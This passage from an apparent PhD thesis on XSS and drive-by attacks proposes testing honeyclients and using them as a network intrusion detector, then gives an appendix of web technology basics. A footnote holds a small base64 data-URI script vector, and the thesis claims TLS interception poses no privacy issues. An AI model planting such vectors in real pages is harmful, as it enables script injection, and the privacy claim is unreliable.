#40 - Safari 5.0.6 #8 - Safari 5.1.5 9 65 11 126.0
#90 - Safari 4.0.5 #69 - Safari 4.0.4 13 65,5 11 157.0
#28 - Safari 5.1.5/MacOSX 10.7.3 #89 - Origin Browser 3 68 11 132.0
#8 - Safari 5.1.5 #25 - fbx v6 7 68,5 11 121.5
#87 - Safari iPhone #40 - Safari 5.0.6 25 74 11 138.0
#23 - Safari 5 Windows 7 64b #8 - Safari 5.1.5 19 75 11 119.5
#103 - Android 3.0 #28 - Safari 5.1.5/MacOSX 10.7.3 21 78 15 135.0
#93 - Safari 3.0.4 #92 - Safari 3.2.1 41 81,5 11 181.0
#74 - Samsung GT-S5570 Android #11 - Konqueror 4.7.4/KHTML 116 139 15 137.5
#97 - Google Samsung Nexus #96 - Chrome Nexus S 10 151,5 15 69.5
119
6.9. CONCLUSION
Figure 6.5  Analysis of the relation between browser birth date and modiﬁed Hamminng
distance.
Figure 6.6  Analysis of the relation between browser birth date and modiﬁed Hamminng
distance for the Opera family
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Chapter 7
Honeyclients and Client-Side Attack
Detection
If the pirates of the Caribbean
breaks down, the pirates don't
try to eat the tourists.
Jurassic Park
There is a strong need for client-side attack detection at the network level. Current
NIDS are general purpose IDS. We have seen through this thesis that client-side attack
are very browser-speciﬁc and require a speciﬁc response. In this chapter, we elaborate
the ﬁrst draft of a client-side attacks detection system built around honeyclients. This
system is yet to be implemented and tested in our future work. In the ﬁrst section we
will present a test process for honeyclient improvement, and in the second section, an
architecture to use honeyclients as a non-perturbing detection component.
7.1 Improving Honeyclients
As we have seen through this thesis, attackers will likely move towards more and
more browser-speciﬁc tricks for user-agent identiﬁcation and sandbox evasion. The use
of a real browser as a honeyclient implies being really vulnerable to the attacks launched
by the exploit kit. Two strategies can be used: high interaction honeypot with a sand-
boxed operating system running within a virtual machine. The other strategy is low
interaction honeyclient where the browser engine is tightly controlled to avoid its ex-
ploitation. These controls might induce changes in the browser behavior, if an attacker
spots this changes, he can use them to deter detection. Another costly way to build a low
interaction honeyclient consists in replacing the potentially vulnerable components by a
similar component, like switching JavaScript engine. But this implies to rebuild missing
features in the replacement parts, and eventually to test it. Before rebuilding the missing
features, we have to identify them. To do so the XSS Test Driver framework will help.
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7.1.1 Honeyclient Testing Methodology
Honeyclients have a simple goal: emulating browser features used in drive-by down-
load attacks. We believe this emulation must be tested the same way we do testing on
browser features. Exploit kits require an heavy use of Iframes and HTTP redirections
in the exploitation process. XSS Test Driver happens to proceed similarly and is thus
appropriate to test honeyclients.
The strategy for honeyclient testing is quite straightforward. Malware analysts and
security engineers share exploit kit traces. In those traces, we can manually identify
JavaScript and HTML code parts and transform them in test cases compatible with the
XSS Test Driver logic. EK obfuscation techniques are similar to the payload encoding
issues we have already dealt with in XSS Test Driver (see section 4.5 in chapter 4). Once
built, our test suite of employed HTML and JavaScript features can be executed against
honeyclients, and their behavior compared with the real browsers.
Test case collection can be done using more cpu-intensive tools like sandboxed virtual
machines (like exploit krawler presented in 2.2.3.2). This collection process is done on a
day-to-day basis by malware analysts who ﬁght sources of infection. Many online sources
of malicious URLs and malware archives can help building such dataset.
By using existing HTTP replay tools (see paragraph 7.2.1), we can test the behavior
of existing honeyclients to see if they are able to detect the threat or not. Undetected
cases must be analyzed manually to identify employed HTML and JavaScript features.
Once identiﬁed, these features will become our test cases.
Once available as test cases, honeyclient developers could ﬁx the identiﬁed issues.
The main beneﬁt of such automated test suite is its potential integration in a validation
chain to avoid regression during honeyclient development.
7.1.2 Improving Honeyclients for XSS Attack Detection
Since honeyclients are built like browsers, with a JavaScript engine and a DOM API
emulation, we could use behavioral detection approaches used in drive-by download in
Wepawet [27] or IceShield [40] with metrics adapted to XSS attacks. We may also monitor
data information leakage cases like the session cookie sent to the attacker. It will enable
the use of many existing client-side detection techniques (see section 2.2.3.1 ). To do so
we will have to test these honeyclients against XSS vectors and to check they interpret
all XSS vectors like the emulated browser.
Scriptless attacks relying on CSS3 [114] to extract sensitive information without
JavaScript code execution are a tough challenge requiring to enable CSS3 in the hon-
eyclient. In this case, using a headless browser (as seen in the state of the art sec-
tion 2.3.2) to execute the page might be required. A CSS3 parser like cssutilshttp:
//cthedot.de/cssutils/ could be integrated to Thug to enable scriptless attack detec-
tion.
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7.1.3 A Honeyclient as a Client-Side Attack Detection Oracle
Once we have a good enough honeyclient, we could start using it for general client-
side attack detection. Since honeyclient main feature is to emulate several browsers, it
will allow to identify scripts remaining undetected by approaches like SWAP [46]. The
ability to run live JavaScript code in a secured environment might also help in detecting
DOM XSS attack. As we have seen, the IDS location also matters in XSS detection. We
believe that the network is the best location to catch all traﬃc scattered across websites
and used in client-side attacks. Thus, we propose in the following section an architecture
to use honeyclients as a passive NIDS.
7.2 An Architecture Proposal to Turn Honeyclients into
NIDS
As we have seen through the state of the art, client-side attacks represent the main
threat for a network communicating with the Internet. Existing drive-by download de-
tection techniques mainly consist in identifying malicious infection URLs by interacting
with them. In the following section we propose an architecture to enable the use of
honeyclients as a passive NIDS instead of an active HIDS.
Figure 7.1  Architecture for client-side attack detection at the network level
Internet
Hadoop
Cluster
Replay
Proxy
Http
Http
Https
Un-SSL
Sandbox HoneyClient
Intranet
7.2.1 Components Description
Lawfull Interception of HTTPS Traﬃc
.
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Even if few exploit-kits use HTTPS to hide their attacks since they relies on browser-
ﬁngerprinting for stealthiness. Breaking TLS sessions is needed to detect any web attack
carried via HTTPS secured websites. This is only achievable in corporate environments
where users access the web only via the company proxy.
Commercial proxy appliances, like Palo-Alto products, oﬀer support for TLS-decryption
via Man-in-the-Middle by installing a generic certiﬁcate for all websites on each PC. By
doing so, all the HTTPS traﬃc can be decrypted by security administrators without is-
sues for users privacy and corporate data security. Of course the private keys used in this
interception must be secured. To avoid any leaks, the private keys for interception and
all collected data must lead to a network diode [115]. Our network solution will reside
behind it and no data will be able to leak this way.
Traﬃc Capture
.
Network traﬃc capture is not a so easy problem, but it is already covered by eﬃcient
open-source products like Bro IDS [116]. Bro is an enhanced traﬃc capture system able
to ﬁlter traﬃc eﬃciently. Based on this, we could achieve capture of all browser-related
traﬃc (HTTP, HTTPS, Websockets, FTP, etc.).
HTTP Replay
. Once the HTTP traﬃc obtained, we need to be able to replay it at will. Many
tools exist and allow this 1, but with very speciﬁc use cases: we still have to explore
their limitations. Most of these tools work as an HTTP proxy, serving known URLs
and a dummy response page for unknown resources. It can be a good starting point to
prototype a ﬁrst version of our detection system. Having a HTTP replay proxy and a way
to exchange sample exploit-kit traﬃc will allow the honeyclient community to improve
its testing experience. The use of these replay proxies for honeyclients is already feasible
because most honeyclients are able to use a web proxy for web access.
In this part, managing the temporal relation between requests and respective re-
sponses in the replay will be challenging.
1. Betamax http server stubbing tool:
http://freeside.co/betamax/
Fiddler + HttpReplay: http://blogs.msdn.com/b/deviations/archive/2010/06/22/
how-to-user-fiddler-and-http-replay-to-have-an-offline-copy-of-your-site.aspx
HTTReplay (python):
https://github.com/davepeck/httreplay
VCR (ruby):
https://www.relishapp.com/vcr/vcr/docs
ReplayProxy (python, works from .pcap ﬁles):
http://code.google.com/p/replayproxy/
building a pcap out of a ﬁddler output:
https://github.com/EmergingThreats/fiddler2pcap
Web page replay:
http://code.google.com/p/web-page-replay/
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Figure 7.2  Character occurrence of good and bad JS ﬁles
Character Occurrence Analysis for JavaScript Obfuscation Detection
Since signature-based IDS can be thwarted by obfuscation, detecting obfuscation
statically before calling costly de-obfuscation tools on it might help reducing the IDS
Load. Such obfuscation can directly indicate malicious activities. It might lead to drastic
performance improvement.
Identiﬁcation of suspicious HTML and JavaScript ﬁle can also be achieved by statisti-
cal means. A packed or encoded JavaScript ﬁle will have a diﬀerent statistical repartition
of characters than standard JavaScript code.
If you look at the ﬁgure 7.2, good JavaScript ﬁles are in blue, and known bad
JavaScript ﬁles are in red. We can observe a peak for some characters typically used
in JS obfuscation compared to regular JavaScript code. n-gram analysis might also be
used to identify obfuscation techniques and characterize them.
Code metrics used in software quality measurement could also be used to identify
obfuscated JavaScript. Shannon entropy measurement on variable names could indicate
if the parameter name is randomized or not.
Dynamic JavaScript De-Obfuscation
Considering the strongly dynamic nature of JavaScript, JavaScript de-obfuscation
can only be achieved through execution of malicious JavaScript Code within a suited
JavaScript engine. By intercepting all the calls to the JavaScript engine, we can obtain
de-obfuscated JavaScript along with the intermediate steps. The resulting JavaScript
code can be normalized to apply code similarity measurement on it.
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JavaScript Code Normalization
It consists in breaking the randomization algorithm applied to function names and
variables. A ﬁnal cleanup enable the use of plagiarism detection tools to compare the mali-
cious JavaScript code with a dataset of known good and known bad JavaScript codes. The
canonization of JavaScript code might be achieved using symbolic execution techniques
and semantic analysis. Once canonized, code similarity techniques could be applied to
identify re-use of code parts in ﬁngerprinting libraries. JavaScript code similarity mea-
surement could also be used to identify the backdooring of popular JavaScript libraries
with redirection code. Fuzzy-hash techniques could also be a track to follow to identify
evil code within legitimate JavaScript code.
7.2.2 Detection Process
The HTTP traﬃc capture process is quite straightforward as shown in ﬁgure 7.3.
Once the network traﬃc has been dissected by Bro, it is then split. On the one hand
HTTP traﬃc can directly be stored for analysis and to the other hand HTTPS traﬃc
has to be decrypted thanks to the lawfull interception. Then the detection takes place by
analyzing the users browsing, either using low interaction honeyclients or high-interaction
ones. If suspicious activity is detected by the low interaction honeyclient, a sandboxed
environment can be used to replay the victim's session to see if the attack compromises
the system.
Figure 7.3  Detection process workﬂow
HTTP TraﬃcCapture HTTP Traﬃc
Storage
HTTPS Traﬃc
Network Traﬃc
Decrypt
HoneyClient
Replay Alerts
Sandbox
Replay
In the low interaction honeyclient, the analysis process is a bit more complicated.
We choose to multiply checkpoints in the browser emulation. First, at the HTTP header
level, we could analyze session and check any changes in the user-agent for a given session
cookie. By doing so we can catch basic HTTP session hijacking. The user-agent string
also serves to conﬁgure which HTML engine will be used in the honeyclient for the HTML
parsing step.
Once the HTML parsed with the same engine as the monitored user-agent, we obtain
the scripts and a living DOM. This DOM will be updated along the browsing session.
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The DOM also serves along with the script for the JS engine. The JS Engine execution
allows the extraction of dynamically generated scripts. All these scripts are collected for
later analysis. JS engine properties and API can be set to emulate the properties and
API available in the original browser.
Taint analysis can be used to check if JS code has accessed to session information
and if these information are written in the DOM or transmitted via HTTP. This will
indicate a typical session information leakage done by XSS.
The JS engine can also serve to collect basic statistics on functions typically used
in obfuscation or in XSS attacks. By example a threshold can serve as an alarm trigger
in case of excessive usage of eval() to detect obfuscation. The number of created JS
objects or DOM objects can indicate a heap-spraying going on for browser vulnerability
exploitation.
The analysis of the collected JavaScript can be done in a secondary engine. JS libraries
do not change that often in a network. Changes can indicate either an website update or
its compromise if new functions are inserted in JS libraries. This is why, prior to complex
analysis, we propose to simply ﬁlter out known JS libraries or scripts. The rest can be
checked for obfuscation using static analysis (see section 7.2.1 above). If no obfuscation
is detected, we can use normalization and similarity analysis to detect known attack
patterns in the JS code.
7.3 Conclusion
As we have seen in previous chapters, we need to adapt the HTML and JS engine to ﬁt
the monitored browser in order to emulate the attack properly. Since the attacker tailors
the attack for the target, we have to tailor our detection to match the system we want
to protect. In this chapter, we have described how honeyclient can be tested to check
how well it matches the emulated browser. We also proposed a detection architecture
to enable the use of any active honeyclient as a non-disturbing detection engine. This
chapter described the promising research path we will explore in our future work.
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Figure 7.4  Example of an analysis process workﬂow within the honeyclient
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Chapter 8
Conclusion and Future Work
We have not succeeded in
answering all our problems. The
answers we have found only
serve to raise a whole set of new
questions. In some ways we feel
we are as confused as ever, but
we believe we are confused on a
higher level and about more
important things.
Bernt Øksendal
The research contributions we presented in this thesis are a part of a longer-term
eﬀort to prevent a web-system from malicious attacks. The long term goal concerns the
payload part of the XSS and drive-by download, and the design and development of new
tools for dissecting client-side attacks. The payload is often downloaded only after an
initial test checking the context in which the vector runs. If the XSS or the drive-by
download tests that the environment is monitored, the payload will not be downloaded,
and thus cannot be analyzed. Ideally we would like to fool the attacker with a client
honeypot that would perfectly mimic the behavior of a real browser. Such instruments
could be turned into protection tools, either because analyzing in depth the way the
payload works will provide an understanding of the key mechanisms that are exploited
by attackers, or because the honeyclient can be used as a security component.
This long term research initially focused on a very common and harmful category
of attacks, namely XSS. While we started the thesis with the objective of building a
new security component to prevent such attacks (the SHIELD), we renounced to go
further in that promising direction, for diﬀerent reasons. The ﬁrst one is that such a
component is designed to block (based on a contract-based approach) any kind of XSS
vectors, especially new ones with no recorded signatures. To validate such a component
and compare it with existing IDS reverse-proxies, it is necessary to execute many XSS
vectors, recorded ones and unknown ones. At that point, we were facing two limitations
that led to stop the research in that direction in the thesis. First, the overhead for building
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a contract-based IDS seems prohibitive (manual aspects) and may limit the evolution
and dynamism of a web-based system (e.g. contracts update). This is a fundamental
limitation, and even if there are other research contributions that still work in that
direction, we considered that this approach would not converge to a sustainable solution
in the time of the thesis. Second the lack of tools to systematically test any security
component with up-to-date attack vectors. All this initial research has been presented in
chapter 3.
Beneﬁting from the lessons learned from this initial research, the thesis topic evolved
in the direction of building an instrument to systematically validate the attack surface of
the client-side part of the web application, under the execution of a selected set of XSS
vectors. This led to build the XSS Test Driver tool that implements the expected features
for such a systematic study (chapter 4). The result is a novel kind of security testing tool
that we believe is a fundamental enabler for validating any client-based application w.r.t.
XSS attacks, and consequently conducting systematic research on that topic.
We applied the tool to demonstrate the need for developing systematic security testing
procedures, especially regarding regression testing. As shown in chapter 5, the vendors
do not have a converging methodology to control the attack surface of the web browsers
over time. The quirks and speciﬁcity of each web browser being shown, we studied how
such quirks can be fruitfully used to ﬁngerprint a web browser (chapter 6). This last
contribution opens the possibility to develop in a near future honeyclients, that may
fool attackers and be used as an instrument for an in-depth analysis of the XSS attacks
including the payload.
In short, this thesis initially groped one's way forward to ﬁnally target the objective
of honeyclient, client-side attack detection and NIDS. In a world that is becoming more
and more dependent on the Internet, thus more and more vulnerable to successful attack,
the thesis research is a small, but hopefully useful, contribution to end-user protection
and ultimately cyberdefense.
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Appendix A
Web Technologies Overview
In this section, we will describe features from the web technologies. Many of them
are well known. We focus only on the basic parts required for the reader's understanding
of the following sections. If the reader is familiar with web technologies, we invite him to
skip this part and to jump directly to the next section. All those technologies are used
in some way in client-side attacks.
The ﬁrst part of the section depict the HTTP protocol, then we introduce the web-
related languages we name through the thesis. Afterwards, we depict the typical web
application architecture, and ﬁnish with the browser architecture.
A.1 Web Protocol: HTTP
HTTP is a text-based protocol designed to transfer documents over the Internet.
It is the backbone of the World Wide Web concept we call the web: ressources and
documents spread across several web servers across the Internet. Several versions of this
protocol coexist the current version (1.1) is the most widely supported by browsers and
web servers. Web pages are located using an Universal Ressource Location (URL). The
user-agent interprets the URL beginning by http:// as a resource to retrieve using
HTTP.
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Here is an example of HTTP request and response in listing A.1, composed as follows:
 HTTP method like GET, POST, HEAD, OPTION, etc.;
 Resource path, here /index.html;
 Protocol version, here 1.1;
 HTTP headers, one per line;
 HTTP body separated from the header by a new line.
Listing A.1  Sample HTTP request
1 POST /index.html HTTP/1.1
2 Host: example.com
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
4 rv:19.0) Gecko/20100101 Firefox/19.0
5 Cookie: session=AZkn3498k;
6 Content-Type: application/x-www-form-urlencoded
7 Content-Length: 19
8
9 p1=1234&p2=mqsdf&p3=%68%65%6c%6c%6f
The browser identiﬁes itself using the User-Agent ﬁeld of the HTTP header. User's
session on the website is handled via the Cookie header. Parameters sent within the URL
or within the HTTP request body are separated by an ampersand (&). The parameter
name and aﬀected value are separated by an equal sign =. For example we have here a
parameter p1 with the aﬀected value 1234. String can also be transmitted as well. If a
string parameter contains conﬂicting characters ( . /
= < > ? + & % * ; : ), they can be replaced by its URL-encoded variant like with the p3
parameter. An URL-encoded character starts with a % and is followed by its Hexadecimal
ASCII code. Files are encoded using base64 encoding when transmitted over HTTP, like
with SMTP for e-mails. There is no type deﬁned in the HTTP norm for parameters, thus
they are all treated as strings, and it is up to the developer to determine the parameter's
type and value by parsing the HTTP request.
A web server typically responds to a request with an HTML content, or ﬁles. The
type of content is determined by the content-type header like in the following response:
Listing A.2  HTTP response
1 Date: Mon, 23 May 2005 22:38:34 GMT
2 Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
3 Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
4 ETag: "3f80f-1b6-3e1cb03b"
5 Content-Type: text/html; charset=UTF-8
6 Content-Length: 131
7 HTTP/1.1 200 OK
8 Connection: close
9
10 <html>
11 <head>
12 <title>An Example Page</title>
13 </head>
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14 <body>
15 Hello World, this is a very simple HTML document.
16 </body>
17 </html>
A response (listing A.2 in HTTP version 1.1) is composed as follows:
 Response headers, containing date, cache information and content-type;
 The response size;
 The protocol version and the HTTP status code;
 The response body separated from the header by a new line.
In this example, we receive HTML code, the ﬂagship data description language from
the web. In the following part, we will introduce other popular web languages.
A.2 The Web Languages
Moi le HTML ça me fait baliser
Pierre Chiier
In this part, we introduce several languages used in the web technologies. As we
all know, language inﬂuence the way programmer develops and sometimes serve as a
safeguards against programming errors [117]. But it is rarely the case with web-related
languages. We can distinguish three kind of web languages:
 Programming languages, like PHP, Java, JavaScript, ASP, etc. used for web pages
building;
 Query languages, like SQL, XPATH, etc. used for data access;
 Data description languages, like HTML, SVG, etc. used for web page content
description.
In this part, we will describe only the key ones in then thesis for the reader understand-
ings. If the reader is eager to know more on web development, we advise him to look at
the W3School website 1 for tutorials on web programming and related technologies.
HTML
HTML stands for HyperText Markup Language, and is meant to work along with
HTTP. A typical HTML document contains hyperlinks pointing to an URL. Those hy-
perlinks are fetched by the user-agent (the browser) and displayed to the user. HTML is
a markup language designed from SGML 2 speciﬁcations.
Listing A.3  HTML page
1 <html>
2 <head>
3 <title>An Example Page</title>
1. www.w3school.com
2. http://en.wikipedia.org/wiki/Standard_Generalized_Markup_Language
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4 </head>
5 <body>
6 Hello World, this is a very simple HTML document.
7 </body>
8 </html>
How a user can interact with an HTML page is described within the document. Users
often interact using forms and buttons. These forms might triggers code within the web
page. This code is either located within <SCRIPT> tags or is bound to tag properties using
events like onclick.
Several versions of these languages were normalized by the World Wide Web Con-
sortium (W3C) along with the web history. HTML5 is the current version of the HTML
norm, standardized by the W3C, and implemented in many browsers. The HTML norm
as it is implemented in browsers is maintained by the Web Hypertext Application Tech-
nology Working Group (WHATWG) 3. This group is formed by browser vendors (Mozilla,
Opera, Microsoft, Google...) and pushes evolutions to the HTML standard faster than
W3C normalize HTML. It was a response to the slow development of W3C standards. In
theory, WHATWG and W3C do share the same norms, but in details, they sometimes
do not 4. The number of new features implementations increasing and these discrepan-
cies between the W3C and the WHATWG norms for HTML are two factors creating
misunderstandings and eventually impact security.
XML
eXtended Markup Language (XML) 5 is a markup language norm from the W3C
providing a document encoding format readable for both humans and computers. Like
HTML it also extends from SGML. Many web technologies use data under a XML form.
CSS
Cascading Style Sheet (CSS) [118] is a graphical language that replaces all graphical
properties within HTML tags by one style property. Each graphical property can be
deﬁned from the most general to the most speciﬁc ones. 3 versions of the CSS norm were
edited by W3C, the latest one is known to be Turing complete 6.
JavaScript
JavaScript was ﬁrst present in Netscape browsers. It is an implementation of the
ECMAScript norm with an API to interact with the HTML document through the
3. http://www.whatwg.org
4. See the following url for more details:
http://www.whatwg.org/specs/web-apps/current-work/multipage/introduction.html#
is-this-html5?
5. Source: Wikipedia
http://en.wikipedia.org/wiki/XML
6. http://lambda-the-ultimate.org/node/4222
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Document Object Model (DOM). Quickly, Microsoft responded by adding JScript to
Internet Explorer, a JavaScript like language but with a diﬀerent speciﬁcation. This led
to many issues for developers using JavaScript within their web pages. JavaScript is a
loosely typed interpreted language with many misleading behaviors despite the strong
normalization eﬀort.
Listing A.4  JavaScript code example
1 <!DOCTYPE html>
2 <meta charset="utf-8">
3 <title>Minimal Example</title>
4 <h1 id="header">This is JavaScript</h1>
5 <script>
6 document.body.appendChild(document.createTextNode('Hello World!'));
7 // holds a reference to the <h1> tag
8 var h1 = document.getElementById('header');
9 // accessing the same <h1> element
10 h1 = document.getElementsByTagName('h1')[0];
11 </script>
12 <noscript>Your browser either does not support JavaScript, or has it turned off
.</noscript>
XHTTPRequest, JSON and the REST
To exchange data between the JavaScript engine and the web server to achieve Asyn-
chronous JavaScript Execution (AJAX), a new object appeared in the JavaScript API.
The XML HTTP Request (XHR) object is a way to execute an HTTP request from
the JavaScript and retrieve its content for client-side processing. An XHR can not be
identiﬁed by the server in the HTTP header.
The data is returned in the JSON, XML, HTML or plain text format. JSON stands for
JavaScript Object Notation, and is made to be easy to parse from JavaScript. Sometimes,
data requested through XHR are returned in a JSON format similar to the one in the
listing A.5.
Listing A.5  JSON data
1 {
2 "firstName": "John","lastName": "Smith","age":25,"address": {
3 "streetAddress": "21 2nd Street","city": "New York","state":"NY","
postalCode": 10021
4 },
5 "phoneNumbers": [
6 { "type": "home","number": "212 555-1234"},
7 { "type": "fax","number":"646 555-4567"}
8 ]
9 }
The URL requested by the client-side code can also have a special meaning. It was
made popular along with AJAX technologies to provide data access through REST [119]
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URLs like in listing A.6. Here each url correspond to a search, respectively by author
and by year of publication.
Listing A.6  REST URL
1 http://site.com/library/search/book/author/darwin
2 http://site.com/library/search/book/year/1984
A.3 Web Application Architecture
a web application is a very
complicated way to concatenate
strings
Anonymous
Since web applications dominate the modern application layer attack surface on the
server-side, we will do a short focus on web application vulnerabilities in the next section.
But before discussing web application vulnerabilities, we need to introduce a few basics
concerning its inner-workings and architecture. The typical modern web application is
composed of 3-tiers:
 a user-agent : the browser, rendering the web pages to the user
 an application server : running the web application code itself
 a data storage: oﬀering data persistence, typically a database.
Client Server
Database
Figure A.1  Typical 3-tier architecture for web application
To better understand the perimeter of the thesis, let us recall how a modern web
application is usually structured (see Figure A.3). Modern web applications dynamically
generate HTML code on demand, and push presentation layer processing to the browser
through JavaScript code. The internal structure of a web-application is decomposed in
the classical n-tier architecture (presentation, server, data).
Presentation Tier
On the presentation tier, the browser builds a visual representation of the HTML
document. A lot of W3C standardized formats and technologies are involved: cascading
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style sheets (CSS), scalable vector graphics (SVG), data URI 7, extended markup lan-
guage (XML), etc. All these client-side technologies impact the browser's behavior and
contribute to a more interactive web. JavaScript is the most prevalent client-side script-
ing technology. It implements the ECMAScript norm and provides several browser' APIs,
enabling them to access the parsed HTML document and its live modiﬁcation. Client-
side web technologies aim to provide a more dynamic experience to the user than static
HTML alone.
Server Tier
On the server tier, the web application generates content for the browser based on
data mostly stored in a database, or dynamically manages the processing of data issued
by the presentation layer. Many languages allow web application development, usually
through software frameworks abstracting the database access. To avoid the hassle of
query development, the mapping between objects and database is done through the object
relational mapping technology (ORM). ORM handle problematic characters and escape
them automatically. However, some queries are still elaborated directly by developers,
which may be another cause of vulnerability. More complex data processes can also
be done directly by the database. XML-based technologies can also play a role in a
web application: several web application servers like Tomcat, JBoss or Weblogic use
XML for their conﬁguration ﬁles. XSLT transformations are sometimes used in automatic
reporting features, and some logging facilities can output logs and data in XML format
to ease its processing by other tools.
Data Tier
On the data storage side, relational databases are most commonly used. The Struc-
tured Query Language(SQL) is the standard query language to interact with stored data.
Data integrity and heavy data processing can be executed in this tier for performance
reasons. Database-speciﬁc programming languages like PL/SQL add another process-
ing layer to the web application architecture and is used to preserve data consistency
within the database. Traditional relational databases are still leaders in terms of market
shares (Oracle, SQL Server, MySQL, PostgreSQL, SQLite), followed by new players like
Hadoop or MongoDB. In some cases, old-fashioned technologies from mainframes still
serve as data storage. Web services can play a data-source role in this level instead of the
database, providing data exchanges between information systems(IS). Those web-services
often use SOAP for messaging, and several web-services norms for message formalization
and security. Some web applications even provide an access to more exotic components
like grids and industrial control systems (ICS).
7. http://en.wikipedia.org/wiki/Data_URI_scheme
ex: <object data="data:text/html;base64,PHNjcmlwdD5hbGVy=="></object>
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Input Parameter
Web applications may have several input parameters, which are assigned and sent
to the server using URLs or forms. For the forms, an input parameter is located in the
HTML code. It is a set of tags deﬁning which ﬁelds are to be ﬁlled by end-users. Then,
this data is usually sent to the server-side for processing. The server responds according
to the form data and the requested service (store, search, register, delete etc.). For the
URLs, input data is hardcoded in the URL and sent back to the server (using JavaScript
for example).
Client-side
It includes the part of the web application that is executed by the client browser
(Firefox, Internet Explorer etc.). The client-side contains the HTML code, the cookies,
the Java applets, and the ﬂash programs etc. that are executed by the client machine.
Server-side
The server side contains the core application code (which is often called business
code), the web server that is the framework which the business code runs in. Several tech-
nologies of web servers exist (Apache, IIS etc.). The server-side may contain a database.
Other Intermediate Components
Many components can be inserted between tiers in web architectures: load balancers,
content data networks (CDN), ﬁrewalls, web application ﬁrewalls (WAF), web proxies,
messaging queues, etc. All these components add complexity to the security analysis, and
can even cause new security issues or provide attack-mitigating schemes.
Recapitulation
The web applications ecosystem is highly heterogeneous in techniques, languages and
data sources used to build browser content. Such diversity, by multiplying the potential
vulnerabilities, and at the same time by increasing the diﬃculty of building generic
security solutions, can contribute to increasing the attack surface of web applications.
A.4 Browsers Architecture
All popular client-side attacks share a common ground: the browser. They make use
of the browser attack surface to harm the user. Understanding browser-related attacks
requires an in depth knowledge of browsers' inner-workings.
Browsers are composed of several parsers and interpreters orchestrated around the
Document Object Model (DOM) as shown in ﬁgure A.2, an internal representation of
the HTML document. This representation is accessible by JavaScript through DOM API
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standardized by the W3C. The norm evolved through 3 versions providing richer access
to DOM through time.
The HTML parser builds the DOM from HTML page(s) collected from the network.
Once the DOM is built, it passes over to the JavaScript interpreter and other client-
side scripting mechanisms (VBScript, Java, Silverlight, ﬂash etc.) for client-side code
execution. Every time a script modiﬁes the source page, the HTML parser is called upon
again. This protocol allows a more interactive experience for the user, but implies a bigger
complexity in parsers.
Browsers must implement many other features, that contribute to increased complex-
ity (and diversity) such as compatibility modes a.k.a. quirk mode 8 9 for legacy HTML
compatibility purposes.
Network Stack
HTTP HTTPS WebSocket
HTML Engine
Rendering
Engine
DOM
CSS Engine
JavaScript Engine
Plugins
User
Interface
Figure A.2  Browser Architecture Overview
Any modiﬁcation made to the DOM implies a visual impact, which is done by the
browser rendering engine that transforms the DOM into its graphic representation.
Components like the CSS parser also have an impact on DOM properties and its
display. Some proprietary CSS extensions are browser-speciﬁc and can sometime trigger
JavaScript code execution.
To make web pages responsive to user actions, several event triggers can be attached
to HTML elements. Anytime one of these triggers is ﬁred (like clicking on a button),
the browser executes the corresponding script code. Some events are speciﬁc to user
interactions like mouse movements or clicks; others are bound to browser speciﬁc events
like document modiﬁcation, page exit or document loading phases.
Modeling all interaction between browser components is a tedious task started by
Weinberger et al. [43]. It is a necessary step to be able to analyze client-side attacks.
Because client-side attacks relies on all these interaction to execute. Such browser-model
needs to be tested and benchmarked against real browsers. Since each browser has its own
8. https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode
9. https://hsivonen.fi/doctype/
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way to orchestrate every parser and interpreter in its engine, a security mechanism must
take this complexity into account. This model must then be compared to the original ones
to see if we want to use it, either in detection to identify active content, or in testing as a
test oracle. Such attack-oriented browser benchmark is one of these thesis contributions.
A.5 Recapitulation on Web Technologies
We have seen that web technologies summarizes in various data processed by lan-
guages over one protocol: HTTP. Several languages are used to describe these data, some
normalized, some not. These data format are the subject of an heavy competition between
browser vendors, and are processed using mostly interpreted languages like JavaScript,
the main client-side scripting language. All these interactions occurs between the browser
on the client-side and the web application on the server-side. Now the background is set
to discuss attacks in the section 2.1.
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